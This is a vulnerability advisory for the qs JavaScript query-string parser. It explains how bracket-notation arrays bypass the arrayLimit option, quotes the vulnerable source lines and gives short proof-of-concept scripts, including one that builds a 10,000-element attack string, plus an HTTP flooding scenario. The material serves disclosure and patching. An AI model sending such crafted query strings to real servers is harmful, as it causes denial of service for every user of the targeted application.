Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.


SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}





Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}





The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoCTest 1 - Basic bypass:

npm install qs





const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)





Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)





Configuration:

  *  arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  *  Use bracket notation: a[]=value (not indexed a[0]=value)


ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  *  Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  *  Application parses with qs.parse(query, { arrayLimit: 100 })
  *  qs ignores limit, parses all 100,000 elements into array
  *  Server memory exhausted → application crashes or becomes unresponsive
  *  Service unavailable for all users
Real-world impact:

  *  Single malicious request can crash server
  *  No authentication required
  *  Easy to automate and scale
  *  Affects any endpoint parsing query strings with bracket notation